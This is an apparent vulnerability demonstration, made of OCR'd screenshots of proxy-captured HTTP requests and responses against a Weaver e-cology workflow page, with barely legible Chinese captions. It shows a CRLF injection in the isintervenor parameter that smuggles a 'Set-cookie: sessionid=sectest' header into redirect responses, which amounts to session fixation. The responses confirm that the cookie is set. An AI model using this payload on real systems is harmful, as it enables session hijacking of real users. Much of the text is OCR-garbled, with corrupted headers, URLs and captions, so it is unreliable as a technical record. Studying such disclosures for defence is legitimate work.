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Request | Response
Raw | Params | Headers | Hex

GET /apifworkflow/reqform/scripts?layoutid=-1&wfTestStr= &f_we aver_belongto_userid=_2009598F_weaver_belangto_usertype=08&&_random_=1553824044673 HTTP/LL

Host:
User-Agent: Mozilla/5.0 (\Windows NT 6.1; \Winb4; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept:

Accept-Language: zh-CN.zh:q=0.8 en-US:q=0.5,en:q=0.3
licati m-urlencoded: ch =utf-8

ype:
#-requested-with: XMLHttpRequest
origin:

Roforr: |

Fuukie:em\ngyﬁegsinnld:abc\fzm?fbunerésspfww;Jandccde;abc\fzmﬂbune, pfhNw; loginich =83101;1 id, ; loginuuid znngsgl

formiso

SV A — R R AR bE, CRLF 3\ S 7E isintervenor 2% | .
http://localhost/workflow/request/ViewRequestForwardSPA.jsp?belongTest=false&f weaver_bel
ongto_userid=84938&f_weaver_belongto_usertype=0&isintervenor=ib3rq&requestid=1251&ses
sionkey=325_2395_84938 1553578680576
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@ loadURL
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Exvcute

Enable Past dats. [ Enable Referrer

Request | Response

[[Raw | Params | Headers | Hex |

GET q a Jjsp7belongTs lscBF_weaver_belongto_useri _weaver_belongto_usertyp =ib3rafrequestid=1251 key=325_2395_84938_1553578680576 HTTP/11
Host:

User-Agent: Mozilla/5.0 (\Windows NT 6.1: \VinB4: x64: rv:56.0) Gecko/20100101 Firefox/56.0
#ccepts text/html,application/html-xml applicati 1:6=0.9,"/"9=0.8

otlanguage: Zh CNZhg-0 LlSo-05 eng=0
I::mkie:em\cgyﬁesmnm:shcVzm?muz)e,ess:pﬂwNw;Jmdmdef:abwzmwmu%, ‘ » loginidh =83101; | o ! d: 1oousm|

o
Upgrade-Insecure-Requests: 1

Request | Response

[ Raw | eaders | ex | HmiaL | Render |

HTTP/11 302 Found

Server: Resin/3.1.8

Set-Cookie: ecology.. d=abeYzm7fbUe_65SpfhNw:Path=/:HttpOnly
Set-Cookie: _randcode_=abeyzm7fbuoe_655pfhNwiPath=/HtpOnly
Set-Cookie: loginidweaver= ath=/:HepOnly

Set-Cookie: languageidweaver= Path=/
Set-Cookie: laginuuids=200959 Path= /
%-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1

%-UA-Compatible: [E=8

Location:

hitp: dex_form jsp q key=325_2395_84938_15535786805 76 &isintervenor=ih3rq&f weaver_belongto_userid=849388&f weaver_belongto_usertype=0&requestid=1251&belongTest=fals
cBitimestamp=1553824466147

Content-Type: text/html; charset=utf-8
Content-Length: 280

Connection: close

Date: Fri, 20 Mar 2019 01:54:25 GMT

The URL has moved <a

href=" 5/spa dex_form,jsp#/ma q 325_2395_84938_155357868057 6 &isintervenor=ib3rqaf weaver_belongto_uscrid=849388f weaver_belongto_usertype=0&requestid=1251&belongTes
t=false Btimestamp=1553824466147" »here < /a>

eI FRATTHY cookie H4 B & IEH 1Y, SRJGTE isintervenor Z A2 — K payload. tAbFHE
I payload & 1% & cookie, [ LA A= 2= i% B @ Bl
http://localhost/workflow/request/ViewRequestForwardSPA.jsp?belongTest=false&f weaver_bel
ongto_userid=84938&f weaver_belongto_usertype=0&isintervenor=ib3rq%0aSet-
cookie:sessionid%3Dsectest&requestid=1251&sessionkey=325_2395_84938_ 1553578680576
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Request | Response

Raw | Params | Headers | Hex

GET

q jspPbelongTest=false&f weaver_belongto_ - weaver_belongto_usertyp : =ibirg -cook d%3D: ! d=1251 ionkey=325_2395_84938_1
553578680576 HTTP/L1

Host:

User-Agent: Mozlla/5.0 (Windows NT 6.1; Winsd; x64; v55.0) Gecko/20L00101 Firefox/56.0
Accept: text/htm| appl I 8
AcceplLanguage.ZH—CN,ZH,q—D.E,en'US, s,

Cookie: ecology_ISessionld=abeVzm7fbUz_65SpfNw: _randeode _=abc¥zm7fbUoe_65SpfiNw: loginidh =83101; | b =: | ds=200959
Connection: close

Upgrade-Insecure-Requests: 1

Request | Respanse

[[Raw | Headers | Hex | HTML | Render |

HTTP/1.1 302 Found

Server: Resin/3.L8

Set-Cookie: ecology_ISessionld= abcrzm7fbUne_65SpfhNwiPath=/HitpOnly
Set-Cookie: _randcode_= abeYzm7fbUe_655pfhNwPath=/;HttpOnly
loginidwe aver=83101;Pat
ath=/

+languageidweaver=|
loginuuids=20095:
%-Frame-Options: SAMEORIGIN

ocation: dex_forr k 325_2395_84938 1551§7EBEDSM&\smteNer\or’ﬂbZr’q

et cookieisessiorid=sectestaf weaver belongta veerds 249388 elangTest=falsedd wearer belangro. usertype-0&raquestid=1251 496709
o Ty T
Content-Length: 309
Connection: close
Date: Fri, 29 Mar 2019 02:11:36 GMT

The URL has moved <a href="ht dex_forr 325_2395_84938_155357868057 biisintervenor=ib3rq
Set-cookiessessionid= sectestf weaver_belongto_ wserids BAQSB&belcmgTest—h\se&f weaver. be\mgm usertype=D8irequestid=125L&ltime stamp=1553825496709"> here« fa»

BB B, FRATTHY payload 7 Location Ab#{#ATAERL, WHE T 4N sectest [1] session.
FHVT A N ARIEAL Payload I AL, HiE @i .

Raw | Params | Headers | Hex

GET a Jsp?belongT Ise&f_weaver_belongto_L _weaver_belongto_usertyp =i d=1251 fonkey=325_2395_84938_1553578680576 HTTP/LL
Host:

User-Agent: Mozila/5.0 (¥indows NT 6.1; Winbd: 64 1v56.0) Gedko/20100101 Firefos/56.0

Accept text/html, i k3

pe=08requestid=1251. 1553825496709; e cology_ISessionld= abcYzmfbU0e_655pfhiNw;

Upgrade-Insecure-Requests: 1

[ Request | Response

Raw | Headers | Hex | HTML | Render

HTTP/1L 302 Found
e Besin/d]
ct-Cookie: sessionid=sectest&f weaver_belongto_userid=849388ibelongTest=talseflf_weaver_belongto_usertype=0&irequestid= 1251 &time stamp= 1553825496709 Path= /HttpOnly
et-Cookie: ecology_. d=abe¥zmfllU0e_65SpfhiNwP ath=/HttpCnly

ie: _randcode_=abcYzm7fbUe_65SpfhNwPath=/HttpOnly
et-Cookie: loginidwe aver=83101;Path=/:HttpOnly
ct-Cookie: languageidweavers
et-Cookie: loginuuids=20095

ath=/

FheneT
X-¥§5-Protection: 1
¥-UA-Compatible: [E=8
Location:

httpy// index_form jsp#/mai qrsessi 325_2395 84938_155357868057 6&iisintervenor=ibrqaf weaver_belongto_useri longT:

f weaver_belongto_usertype=0&raquestid=125
1&timestamp= 1553820357880

Content-Type: text/html; charset= utf-8

Content-Length: 280

Connection: close

Date: Fri, 29 Mar 2019 02:25:57 GMT

The URL has moved <a

href="http:// indexform.jsp#/mai qPsessi 25_2395_84938 155357868057 6alisintervenor=ib3rq&f weaver_belongto_userid=84938&kelongTest=false 8 weaver belongto_usertype=0&requesti
d=12518ttimestamp=1553526357880" > here</a>
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